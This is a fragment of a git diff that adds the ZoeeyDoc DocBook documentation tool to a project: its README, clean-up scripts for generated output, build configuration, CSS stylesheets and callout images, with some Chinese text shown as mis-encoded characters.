b/test/net.heartsome.license.test/win_x86_Series_32bit.dll differ diff --git a/test/net.heartsome.license.test/win_x86_Series_64bit.dll b/test/net.heartsome.license.test/win_x86_Series_64bit.dll new file mode 100644 index 0000000..deb91ce Binary files /dev/null and b/test/net.heartsome.license.test/win_x86_Series_64bit.dll differ diff --git a/tools/.project b/tools/.project new file mode 100644 index 0000000..d48fc19 --- /dev/null +++ b/tools/.project @@ -0,0 +1,11 @@ + + + tools + + + + + + + + diff --git a/tools/ZoeeyDoc/.gitignore b/tools/ZoeeyDoc/.gitignore new file mode 100644 index 0000000..e69de29 diff --git a/tools/ZoeeyDoc/README.TXT b/tools/ZoeeyDoc/README.TXT new file mode 100644 index 0000000..03b5f6f --- /dev/null +++ b/tools/ZoeeyDoc/README.TXT @@ -0,0 +1,68 @@ +ZoeeyDoc ½éÉÜ + +ZoeeyDoc?ÊÇÒ»¸ödocbookÎĵµ¹¹½¨¹¤¾ß£¬Ö§³Ö single-html¡¢html¡¢chm¡¢pdf µÈ¸ñʽµ¼³ö¡£¶ÔÖÐÎÄÖ§³ÖÁ¼ºÃ¡£ +Óŵã + +http://code.google.com/p/zoeeydoc/ + +======================== +ZoeeyDoc help: +======================== +-h/--help : + ´òÓ¡´ËÎĵµ¡£ + +-c/--clean : + ÇåÀí»º´æÎļþ¡£ + +-t/--type : + ת»»Ä¿±êÀàÐÍ£¨chm,html,single/singlehtml£©£¬Ä¬ÈÏΪ html¡£ + +-b/--book : + ÎĵµÄ¿Â¼¡£ ÎļþÅäÖÃÎļþΪÎļþ·¾¶+"/config.kv" + +»ñÈ¡°ïÖú +java -jar ZoeeyDoc.jar -h + +Éú³É html +java -jar ZoeeyDoc.jar -b docs/books/zoeeydoc -t html + +Éú³É single html +java -jar ZoeeyDoc.jar -b docs/books/zoeeydoc -t single + +Éú³É chm £¨ÐèÒªÖ¸¶¨hhcĿ¼£© +java -jar ZoeeyDoc.jar -b docs/books/zoeeydoc -t chm + + +======================== +BUILD OUTPUT DESCRIPTION +======================== + +When you build an Java application project that has a main class, the IDE +automatically copies all of the JAR +files on the projects classpath to your projects dist/lib folder. The IDE +also adds each of the JAR files to the Class-Path element in the application +JAR files manifest file (MANIFEST.MF). + +To run the project from the command line, go to the dist folder and +type the following: + +java -jar "ZoeeyDoc.jar" + +To distribute this project, zip up the dist folder (including the lib folder) +and distribute the ZIP file. + +Notes: + +* If two JAR files on the project classpath have the same name, only the first +JAR file is copied to the lib folder. +* Only JAR files are copied to the lib folder. +If the classpath contains other types of files or folders, none of the +classpath elements are copied to the lib folder. In such a case, +you need to copy the classpath elements to the lib folder manually after the build. +* If a library on the projects classpath also has a Class-Path element +specified in the manifest,the content of the Class-Path element has to be on +the projects runtime path. +* To set a main class in a standard Java project, right-click the project node +in the Projects window and choose Properties. Then click Run and enter the +class name in the Main Class field. Alternatively, you can manually type the +class name in the manifest Main-Class element. diff --git a/tools/ZoeeyDoc/ZoeeyDoc.jar b/tools/ZoeeyDoc/ZoeeyDoc.jar new file mode 100644 index 0000000..21f4c2f Binary files /dev/null and b/tools/ZoeeyDoc/ZoeeyDoc.jar differ diff --git a/tools/ZoeeyDoc/clean.bat b/tools/ZoeeyDoc/clean.bat new file mode 100644 index 0000000..a363051 --- /dev/null +++ b/tools/ZoeeyDoc/clean.bat @@ -0,0 +1,12 @@ +del /f /q output\HSStudio8_Help_CN\html\* +del /f /q output\HSStudio8_Help_CN\pdf\* +del /f /q output\HSStudio8_Help_EN\html\* +del /f /q output\HSStudio8_Help_EN\pdf\* +del /f /q docs\books\HSStudio8_Help_CN\images\* +del /f /q docs\books\HSStudio8_Help_CN\*.xml +del /f /q docs\books\HSStudio8_Help_EN\images\* +del /f /q docs\books\HSStudio8_Help_EN\*.xml + +java -jar ZoeeyDoc.jar -c + +pause \ No newline at end of file diff --git a/tools/ZoeeyDoc/clean.sh b/tools/ZoeeyDoc/clean.sh new file mode 100755 index 0000000..409642a --- /dev/null +++ b/tools/ZoeeyDoc/clean.sh @@ -0,0 +1,12 @@ +#!/bin/bash + +rm -f output/HSStudio8_Help_CN/html/* +rm -f output/HSStudio8_Help_CN/pdf/* +rm -f output/HSStudio8_Help_EN/html/* +rm -f output/HSStudio8_Help_EN/pdf/* +rm -f docs/books/HSStudio8_Help_CN/images/* +rm -f docs/books/HSStudio8_Help_CN/*.xml +rm -f docs/books/HSStudio8_Help_EN/images/* +rm -f docs/books/HSStudio8_Help_EN/*.xml + +java -jar ZoeeyDoc.jar -c diff --git a/tools/ZoeeyDoc/docs/.gitignore b/tools/ZoeeyDoc/docs/.gitignore new file mode 100644 index 0000000..5a50b7f --- /dev/null +++ b/tools/ZoeeyDoc/docs/.gitignore @@ -0,0 +1 @@ +/target/* diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/.hgignore b/tools/ZoeeyDoc/docs/books/zoeeydoc/.hgignore new file mode 100644 index 0000000..e69de29 diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/build/zoeeydoc-single.zip b/tools/ZoeeyDoc/docs/books/zoeeydoc/build/zoeeydoc-single.zip new file mode 100644 index 0000000..b28f03c Binary files /dev/null and b/tools/ZoeeyDoc/docs/books/zoeeydoc/build/zoeeydoc-single.zip differ diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/build/zoeeydoc-single.zip.checksum b/tools/ZoeeyDoc/docs/books/zoeeydoc/build/zoeeydoc-single.zip.checksum new file mode 100644 index 0000000..fe9ed2b --- /dev/null +++ b/tools/ZoeeyDoc/docs/books/zoeeydoc/build/zoeeydoc-single.zip.checksum @@ -0,0 +1,3 @@ +checksum +md5:9be7fdcb6556f3af55198425e859d47f +sha1:72f35c45456d329c8157aff707aaf78dd52970da \ No newline at end of file diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/build/zoeeydoc.chm b/tools/ZoeeyDoc/docs/books/zoeeydoc/build/zoeeydoc.chm new file mode 100644 index 0000000..9d0db7e Binary files /dev/null and b/tools/ZoeeyDoc/docs/books/zoeeydoc/build/zoeeydoc.chm differ diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/build/zoeeydoc.chm.checksum b/tools/ZoeeyDoc/docs/books/zoeeydoc/build/zoeeydoc.chm.checksum new file mode 100644 index 0000000..27ea0b0 --- /dev/null +++ b/tools/ZoeeyDoc/docs/books/zoeeydoc/build/zoeeydoc.chm.checksum @@ -0,0 +1,3 @@ +checksum +md5:3401e0b6704591382b9b66b98b1227a9 +sha1:776189bba978f0c88dbc38a39f2175bb0ae376d6 \ No newline at end of file diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/build/zoeeydoc.pdf b/tools/ZoeeyDoc/docs/books/zoeeydoc/build/zoeeydoc.pdf new file mode 100644 index 0000000..027d00f Binary files /dev/null and b/tools/ZoeeyDoc/docs/books/zoeeydoc/build/zoeeydoc.pdf differ diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/build/zoeeydoc.pdf.checksum b/tools/ZoeeyDoc/docs/books/zoeeydoc/build/zoeeydoc.pdf.checksum new file mode 100644 index 0000000..2fd9277 --- /dev/null +++ b/tools/ZoeeyDoc/docs/books/zoeeydoc/build/zoeeydoc.pdf.checksum @@ -0,0 +1,3 @@ +checksum +md5:30d6f0109b8c75eacd23f3956fd86fb8 +sha1:3ea6fe7ea0a01434b95f1b9611c3922f4aedb262 \ No newline at end of file diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/build/zoeeydoc.zip b/tools/ZoeeyDoc/docs/books/zoeeydoc/build/zoeeydoc.zip new file mode 100644 index 0000000..f04b5eb Binary files /dev/null and b/tools/ZoeeyDoc/docs/books/zoeeydoc/build/zoeeydoc.zip differ diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/build/zoeeydoc.zip.checksum b/tools/ZoeeyDoc/docs/books/zoeeydoc/build/zoeeydoc.zip.checksum new file mode 100644 index 0000000..c0f151f --- /dev/null +++ b/tools/ZoeeyDoc/docs/books/zoeeydoc/build/zoeeydoc.zip.checksum @@ -0,0 +1,3 @@ +checksum +md5:27ae9e9227d0caf7ec979e35623893fe +sha1:bb0b1704a6b4a09e8a42c33052400446dbbc42d6 \ No newline at end of file diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/config.kv b/tools/ZoeeyDoc/docs/books/zoeeydoc/config.kv new file mode 100644 index 0000000..15ed66c --- /dev/null +++ b/tools/ZoeeyDoc/docs/books/zoeeydoc/config.kv @@ -0,0 +1,110 @@ + +# single html + +single.in = "docs/books/zoeeydoc/userguide.xml" +single.xsl = "docs/books/zoeeydoc/xsl/single/htmlsingle.xsl" +single.file = "docs/target/zoeeydoc/single/userguide.html" +single.outdir = "docs/target/zoeeydoc/single/" +single.zip = "docs/target/zoeeydoc/single/zoeeydoc.zip" +single.header = "docs/books/zoeeydoc/xsl/single/header.html" +# æ–‡ä»¶æ‹·è´ +single.copy[image] = "docs/books/zoeeydoc/images" +single.target[image] = "docs/target/zoeeydoc/single/images" +single.copy[css] = "docs/books/zoeeydoc/css/single" +single.target[css] = "docs/target/zoeeydoc/single/css" + + +# pdf + +pdf.outdir = "docs/target/zoeeydoc/pdf/" +pdf.fop = "docs/books/zoeeydoc/xsl/pdf/fop.xml" +pdf.in = "docs/books/zoeeydoc/userguide.xml" +pdf.xsl = "docs/books/zoeeydoc/xsl/pdf/pdf.xsl" +pdf.pdf = "docs/target/zoeeydoc/pdf/zoeeydoc.pdf" + +pdf.copy[fonts.georgia] = "%SystemRoot%/Fonts/georgia.ttf" +pdf.target[fonts.georgia] = "docs/zips/cache/fonts/georgia.ttf" + +pdf.copy[fonts.georgiab] = "%SystemRoot%/Fonts/georgiab.ttf" +pdf.target[fonts.georgiab] = "docs/zips/cache/fonts/georgiab.ttf" + +pdf.copy[fonts.georgiai] = "%SystemRoot%/Fonts/georgiai.ttf" +pdf.target[fonts.georgiai] = "docs/zips/cache/fonts/georgiai.ttf" + +pdf.copy[fonts.georgiaz] = "%SystemRoot%/Fonts/georgiaz.ttf" +pdf.target[fonts.georgiaz] = "docs/zips/cache/fonts/georgiaz.ttf" + +pdf.copy[fonts.simsun] = "%SystemRoot%/fonts/simsun.ttc" +pdf.target[fonts.simsun] = "docs/zips/cache/fonts/SimSun.ttc" + +pdf.copy[fonts.simhei] = "%SystemRoot%/fonts/simhei.ttf" +pdf.target[fonts.simhei] = "docs/zips/cache/fonts/SimHei.ttf" + +pdf.copy[fonts.arial] = "%SystemRoot%/fonts/arial.ttf" +pdf.target[fonts.arial] = "docs/zips/cache/fonts/Arial.ttf" + +pdf.copy[fonts.arialbd] = "%SystemRoot%/fonts/arialbd.ttf" +pdf.target[fonts.arialbd] = "docs/zips/cache/fonts/Arialbd.ttf" + +pdf.copy[fonts.simfang] = "%SystemRoot%/fonts/simfang.ttf" +pdf.target[fonts.simfang] = "docs/zips/cache/fonts/SimFang.ttf" + +pdf.copy[fonts.simkai] = "%SystemRoot%/fonts/simkai.ttf" +pdf.target[fonts.simkai] = "docs/zips/cache/fonts/SimKai.ttf" + + +# html + +html.in = "docs/books/zoeeydoc/userguide.xml" +html.xsl = "docs/books/zoeeydoc/xsl/html/html.xsl" +html.outdir = "docs/target/zoeeydoc/html" +html.zip = "docs/target/zoeeydoc/html/zoeeydoc.zip" +html.header = "docs/books/zoeeydoc/xsl/html/header.html" +# æ–‡ä»¶æ‹·è´ +html.copy[image] = "docs/books/zoeeydoc/images" +html.target[image] = "docs/target/zoeeydoc/html/images" +html.copy[css] = "docs/books/zoeeydoc/css/html" +html.target[css] = "docs/target/zoeeydoc/html/css" + + +# chm + +chm.in = "docs/books/zoeeydoc/userguide.xml" +chm.xsl = "docs/books/zoeeydoc/xsl/chm/chm.xsl" +chm.outdir = "docs/target/zoeeydoc/chm" +# 在 meta generator åŽç”Ÿæˆå…¶ä»–内容 如 script 此处填写文件å +chm.header = "docs/books/zoeeydoc/xsl/chm/header.html" +# hhc.exe 的路径 +chm.hhc = "C:/Program Files (x86)/HTML Help Workshop/hhc.exe" +# æ–‡ä»¶æ‹·è´ +chm.copy[image] = "docs/books/zoeeydoc/images" +chm.target[image] = "docs/target/zoeeydoc/chm/images" +chm.copy[css] = "docs/books/zoeeydoc/css/html" +chm.target[css] = "docs/target/zoeeydoc/chm/css" + + +# site + +site.in = "docs/books/zoeeydoc/userguide.xml" +site.xsl = "docs/books/zoeeydoc/xsl/site/site.xsl" +site.outdir = "docs/target/zoeeydoc/site" +site.zip = "docs/target/zoeeydoc/site/userguide.zip" +site.header = "docs/books/zoeeydoc/xsl/site/header.html" +# æ–‡ä»¶æ‹·è´ +site.copy[image] = "docs/books/zoeeydoc/images" +site.target[image] = "docs/target/zoeeydoc/site/images" +site.copy[css] = "docs/books/zoeeydoc/css/html" +site.target[css] = "docs/target/zoeeydoc/site/css" + + +# wiki + +wiki.in = "docs/books/zoeeydoc/userguide.xml" +wiki.xsl = "docs/books/zoeeydoc/xsl/wiki/wiki.xsl" +wiki.file = "docs/target/zoeeydoc/wiki/userguide.wiki" +wiki.outdir = "docs/target/zoeeydoc/wiki" +wiki.zip = "docs/target/zoeeydoc/wiki/zoeeydoc.zip" +wiki.header = "docs/books/zoeeydoc/xsl/wiki/header.wiki" +# æ–‡ä»¶æ‹·è´ +wiki.copy[image] = "docs/books/zoeeydoc/images" +wiki.target[image] = "docs/target/zoeeydoc/wiki/images" \ No newline at end of file diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/copyright.xml b/tools/ZoeeyDoc/docs/books/zoeeydoc/copyright.xml new file mode 100644 index 0000000..98b8134 --- /dev/null +++ b/tools/ZoeeyDoc/docs/books/zoeeydoc/copyright.xml @@ -0,0 +1,305 @@ + + ç‰ˆæƒ + + + + + + + + + diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/css/html/styles.css b/tools/ZoeeyDoc/docs/books/zoeeydoc/css/html/styles.css new file mode 100644 index 0000000..b2804af --- /dev/null +++ b/tools/ZoeeyDoc/docs/books/zoeeydoc/css/html/styles.css @@ -0,0 +1,254 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. +*/ + + +html { + padding: 0pt; + margin: 0pt; +} + +body { + margin-top: 1em; + margin-bottom: 1em; + margin-left: 10%; + margin-right: 10%; + + font-family: Times, Times New Roman, serif; +} + +div { + margin: 0pt; +} + +p { + text-indent: 2em; + margin-bottom: .6em; + line-height: 1.2; + font-size: 15px; +} + +hr { + margin-top: .6em; + margin-bottom: .6em; + margin-left: 0pt; + margin-right: 0pt; + border: 1px solid gray; + background: gray; +} + +h1,h2,h3,h4,h5 { + color: #525D76; +} + +a { + text-decoration: underline; + color: black; +} + +a:hover { + text-decoration: underline; + color: black; +} + +h1,h2,h3,h4,h5 { + line-height: 1.3; + margin-top: 1.5em; + font-family: Arial, Sans-serif; +} + +h1.title { + text-align: left; + + margin-top: 2em; + margin-bottom: 2em; + margin-left: 0pt; + margin-right: 0pt; +} + +h2.subtitle, h3.subtitle { + text-align: left; + margin-top: 2em; + margin-bottom: 2em; +/* text-transform: uppercase;*/ +} + +h3.author, p.othercredit { + font-size: 0.9em; + font-weight: normal; + font-style: oblique; + text-align: left; + color: #525D76; +} + +div.titlepage { +} + +div.section { +} + + +div.authorgroup +{ + text-align: left; + margin-bottom: 3em; + display: block; +} + +div.toc, div.list-of-examples, div.list-of-figures { + font-size: 0.8em; + margin-bottom: 3em; +} + + +div.itemizedlist { + margin-top: 0.5em; + margin-bottom: 0.5em; +} + +ol,ul { +} + +li { +} + +pre { + margin: .75em 0; + line-height: 1.0; + color: black; +} + +pre.programlisting { + background-color:#E1F0FF; + border-color:#AABBCE; + border-style:dotted solid; + border-width:1px 2px; + color:#000000; + display:block; + font-size:15px; + line-height:20px; + margin-bottom:11px; + padding:15px; +} + +div.table { + margin: 1em; + padding: 0.5em; + text-align: center; +} + +div.table table { + display: block; +} + +div.table td { + padding-right: 5px; + padding-left: 5px; +} + +div.table p.title { + text-align: center; + margin-left: 5%; + margin-right: 5%; +} + +p.releaseinfo, .copyright { + font-size: 0.8em; + text-align: left; + margin: 0px; + padding: 0px; +} + +div.note, div.important, div.example, div.informalexample, div.tip, div.caution,div.warning { + margin: 1em; + padding: 0.5em; + border: 1px solid gray; + background-color: #f8f8e0; +} + + +div.important th, div.note th, div.tip th { + text-align: left; + border-bottom: solid 1px gray; +} + +div.navheader, div.navheader table { + font-family: sans-serif; + font-size: 12px; +} + +div.navfooter, div.navfooter table { + font-family: sans-serif; + font-size: 12px; +} + +div.figure { + text-align: center; + margin-top: 1em; + margin-bottom: 1em; +} + +div.figure p.title { + text-align: center; + margin-left: 15%; + margin-right: 15%; +} + +div.example p.title { + margin-top: 0em; + margin-bottom: 0.6em; + text-align: left; + padding-bottom: 0.4em; + border-bottom: solid 1px gray; +} + +div.figure img { + border: 1px solid gray; + padding: 0.5em; + margin: 0.5em; +} + +div.revhistory { + font-size: 0.8em; + width: 90%; + margin-left: 5%; + margin-top: 3em; + margin-bottom: 3em; +} + +div.revhistory table { + font-family: sans-serif; + font-size: 12px; + border-collapse: collapse; +} + +div.revhistory table tr { + border: solid 1px gray; +} + +div.revhistory table th { + border: none; +} + +div.legalnotice{ + font-size: 0.8em; +} + +code.literal,code.filename{ + font-style: italic; +} \ No newline at end of file diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/css/single/SyntaxHighlighter.css b/tools/ZoeeyDoc/docs/books/zoeeydoc/css/single/SyntaxHighlighter.css new file mode 100644 index 0000000..85a8261 --- /dev/null +++ b/tools/ZoeeyDoc/docs/books/zoeeydoc/css/single/SyntaxHighlighter.css @@ -0,0 +1,185 @@ +.dp-highlighter +{ + font-family: "Consolas", "Courier New", Courier, mono, serif; + font-size: 12px; + background-color: #E7E5DC; + width: 99%; + overflow: auto; + margin: 18px 0 18px 0 !important; + padding-top: 1px; /* adds a little border on top when controls are hidden */ +} + +/* clear styles */ +.dp-highlighter ol, +.dp-highlighter ol li, +.dp-highlighter ol li span +{ + margin: 0; + padding: 0; + border: none; +} + +.dp-highlighter a, +.dp-highlighter a:hover +{ + background: none; + border: none; + padding: 0; + margin: 0; +} + +.dp-highlighter .bar +{ + padding-left: 45px; +} + +.dp-highlighter.collapsed .bar, +.dp-highlighter.nogutter .bar +{ + padding-left: 0px; +} + +.dp-highlighter ol +{ + list-style: decimal; /* for ie */ + background-color: #fff; + margin: 0px 0px 1px 45px !important; /* 1px bottom margin seems to fix occasional Firefox scrolling */ + padding: 0px; + color: #5C5C5C; +} + +.dp-highlighter.nogutter ol, +.dp-highlighter.nogutter ol li +{ + list-style: none !important; + margin-left: 0px !important; +} + +.dp-highlighter ol li, +.dp-highlighter .columns div +{ + list-style: decimal-leading-zero; /* better look for others, override cascade from OL */ + list-style-position: outside !important; + border-left: 3px solid #6CE26C; + background-color: #F8F8F8; + color: #5C5C5C; + padding: 0 3px 0 10px !important; + margin: 0 !important; + line-height: 14px; +} + +.dp-highlighter.nogutter ol li, +.dp-highlighter.nogutter .columns div +{ + border: 0; +} + +.dp-highlighter .columns +{ + background-color: #F8F8F8; + color: gray; + overflow: hidden; + width: 100%; +} + +.dp-highlighter .columns div +{ + padding-bottom: 5px; +} + +.dp-highlighter ol li.alt +{ + background-color: #FFF; + color: inherit; +} + +.dp-highlighter ol li span +{ + color: black; + background-color: inherit; +} + +/* Adjust some properties when collapsed */ + +.dp-highlighter.collapsed ol +{ + margin: 0px; +} + +.dp-highlighter.collapsed ol li +{ + display: none; +} + +/* Additional modifications when in print-view */ + +.dp-highlighter.printing +{ + border: none; +} + +.dp-highlighter.printing .tools +{ + display: none !important; +} + +.dp-highlighter.printing li +{ + display: list-item !important; +} + +/* Styles for the tools */ + +.dp-highlighter .tools +{ + padding: 3px 8px 3px 10px; + font: 9px Verdana, Geneva, Arial, Helvetica, sans-serif; + color: silver; + background-color: #f8f8f8; + padding-bottom: 10px; + border-left: 3px solid #6CE26C; +} + +.dp-highlighter.nogutter .tools +{ + border-left: 0; +} + +.dp-highlighter.collapsed .tools +{ + border-bottom: 0; +} + +.dp-highlighter .tools a +{ + font-size: 9px; + color: #a0a0a0; + background-color: inherit; + text-decoration: none; + margin-right: 10px; +} + +.dp-highlighter .tools a:hover +{ + color: red; + background-color: inherit; + text-decoration: underline; +} + +/* About dialog styles */ + +.dp-about { background-color: #fff; color: #333; margin: 0px; padding: 0px; } +.dp-about table { width: 100%; height: 100%; font-size: 11px; font-family: Tahoma, Verdana, Arial, sans-serif !important; } +.dp-about td { padding: 10px; vertical-align: top; } +.dp-about .copy { border-bottom: 1px solid #ACA899; height: 95%; } +.dp-about .title { color: red; background-color: inherit; font-weight: bold; } +.dp-about .para { margin: 0 0 4px 0; } +.dp-about .footer { background-color: #ECEADB; color: #333; border-top: 1px solid #fff; text-align: right; } +.dp-about .close { font-size: 11px; font-family: Tahoma, Verdana, Arial, sans-serif !important; background-color: #ECEADB; color: #333; width: 60px; height: 22px; } + +/* Language specific styles */ + +.dp-highlighter .comment, .dp-highlighter .comments { color: #008200; background-color: inherit; } +.dp-highlighter .string { color: blue; background-color: inherit; } +.dp-highlighter .keyword { color: #069; font-weight: bold; background-color: inherit; } +.dp-highlighter .preprocessor { color: gray; background-color: inherit; } diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/css/single/styles.css b/tools/ZoeeyDoc/docs/books/zoeeydoc/css/single/styles.css new file mode 100644 index 0000000..7a0d88c --- /dev/null +++ b/tools/ZoeeyDoc/docs/books/zoeeydoc/css/single/styles.css @@ -0,0 +1,253 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ + + +html { + padding: 0pt; + margin: 0pt; +} + +body { + margin-top: 1em; + margin-bottom: 1em; + margin-left: 10%; + margin-right: 10%; + + font-family: Times, Times New Roman, serif; +} + +div { + margin: 0pt; +} + +p { + text-indent: 2em; + text-align: justify; + margin-bottom: .6em; + line-height: 1.2; +} + +hr { + margin-top: .6em; + margin-bottom: .6em; + margin-left: 0pt; + margin-right: 0pt; + border: 1px solid gray; + background: gray; +} + +h1,h2,h3,h4,h5 { + color: #525D76; +} + +a { + text-decoration: underline; + color: black; +} + +a:hover { + text-decoration: underline; + color: black; +} + +h1,h2,h3,h4,h5 { + line-height: 1.3; + margin-top: 1.5em; + font-family: Arial, Sans-serif; +} + +h1.title { + text-align: left; + + margin-top: 2em; + margin-bottom: 2em; + margin-left: 0pt; + margin-right: 0pt; +} + +h2.subtitle, h3.subtitle { + text-align: left; + margin-top: 2em; + margin-bottom: 2em; + text-transform: uppercase; +} + +h3.author, p.othercredit { + font-size: 0.9em; + font-weight: normal; + font-style: oblique; + text-align: left; + color: #525D76; +} + +div.titlepage { +} + +div.section { +} + + +div.authorgroup +{ + text-align: left; + margin-bottom: 3em; + display: block; +} + +div.toc, div.list-of-examples, div.list-of-figures { + font-size: 0.8em; + margin-bottom: 3em; +} + + +div.itemizedlist { + margin-top: 0.5em; + margin-bottom: 0.5em; +} + +ol,ul { +} + +li { +} + +pre { + margin: .75em 0; + line-height: 1.0; + color: black; +} + +pre.programlisting { + font-size: 9pt; + padding: 5pt 2pt; + border: 1pt solid black; + background: #eeeeee; +} + +div.table { + margin: 1em; + padding: 0.5em; + text-align: center; +} + +div.table table { + display: block; +} + +div.table td { + padding-right: 5px; + padding-left: 5px; +} + +div.table p.title { + text-align: center; + margin-left: 5%; + margin-right: 5%; +} + +p.releaseinfo, .copyright { + font-size: 0.7em; + text-align: left; + margin: 0px; + padding: 0px; +} + +div.note, div.important, div.example, div.informalexample, div.tip, div.caution { + margin: 1em; + padding: 0.5em; + border: 1px solid gray; + background-color: #f8f8e0; +} + +div.important th, div.note th, div.tip th { + text-align: left; + border-bottom: solid 1px gray; +} + +div.navheader, div.navheader table { + font-family: sans-serif; + font-size: 12px; +} + +div.navfooter, div.navfooter table { + font-family: sans-serif; + font-size: 12px; +} + +div.figure { + text-align: center; + margin-top: 1em; + margin-bottom: 1em; +} + +div.figure p.title { + text-align: center; + margin-left: 15%; + margin-right: 15%; +} + +div.example p.title { + margin-top: 0em; + margin-bottom: 0.6em; + text-align: left; + padding-bottom: 0.4em; + border-bottom: solid 1px gray; +} + +div.figure img { + border: 1px solid gray; + padding: 0.5em; + margin: 0.5em; +} + +div.revhistory { + font-size: 0.8em; + width: 90%; + margin-left: 5%; + margin-top: 3em; + margin-bottom: 3em; +} + +div.revhistory table { + font-family: sans-serif; + font-size: 12px; + border-collapse: collapse; +} + +div.revhistory table tr { + border: solid 1px gray; +} + +div.revhistory table th { + border: none; +} diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/glossary.xml b/tools/ZoeeyDoc/docs/books/zoeeydoc/glossary.xml new file mode 100644 index 0000000..53308b1 --- /dev/null +++ b/tools/ZoeeyDoc/docs/books/zoeeydoc/glossary.xml @@ -0,0 +1,23 @@ + + + 术语表 + + + Z + + + Zoeey Framework + + é¢å‘中å°åž‹Web项目的开å‘框架,对Phper亲切å‹å¥½ï¼Œæ供大é‡å¸¸ç”¨çš„Phpæ“作替代方案。 + + + + + Zoeey + + é¢å‘中å°åž‹Web项目的开å‘框架,对Phper亲切å‹å¥½ï¼Œæ供大é‡å¸¸ç”¨çš„Phpæ“作替代方案。 + + + + + diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/annot-close.png b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/annot-close.png new file mode 100644 index 0000000..b9e1a0d Binary files /dev/null and b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/annot-close.png differ diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/annot-open.png b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/annot-open.png new file mode 100644 index 0000000..71040ec Binary files /dev/null and b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/annot-open.png differ diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/blank.png b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/blank.png new file mode 100644 index 0000000..764bf4f Binary files /dev/null and b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/blank.png differ diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/1.gif b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/1.gif new file mode 100644 index 0000000..9e7a87f Binary files /dev/null and b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/1.gif differ diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/1.png b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/1.png new file mode 100644 index 0000000..7d47343 Binary files /dev/null and b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/1.png differ diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/1.svg b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/1.svg new file mode 100644 index 0000000..e2e87dc --- /dev/null +++ b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/1.svg @@ -0,0 +1,15 @@ + + + + +]> + + + + + + + + diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/10.gif b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/10.gif new file mode 100644 index 0000000..e80f7f8 Binary files /dev/null and b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/10.gif differ diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/10.png b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/10.png new file mode 100644 index 0000000..997bbc8 Binary files /dev/null and b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/10.png differ diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/10.svg b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/10.svg new file mode 100644 index 0000000..4740f58 --- /dev/null +++ b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/10.svg @@ -0,0 +1,18 @@ + + + + +]> + + + + + + + + + diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/11.gif b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/11.gif new file mode 100644 index 0000000..67f91a2 Binary files /dev/null and b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/11.gif differ diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/11.png b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/11.png new file mode 100644 index 0000000..ce47dac Binary files /dev/null and b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/11.png differ diff --git a/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/11.svg b/tools/ZoeeyDoc/docs/books/zoeeydoc/images/callouts/11.svg new file mode 100644 index 0000000..09a0b2c --- /dev/null 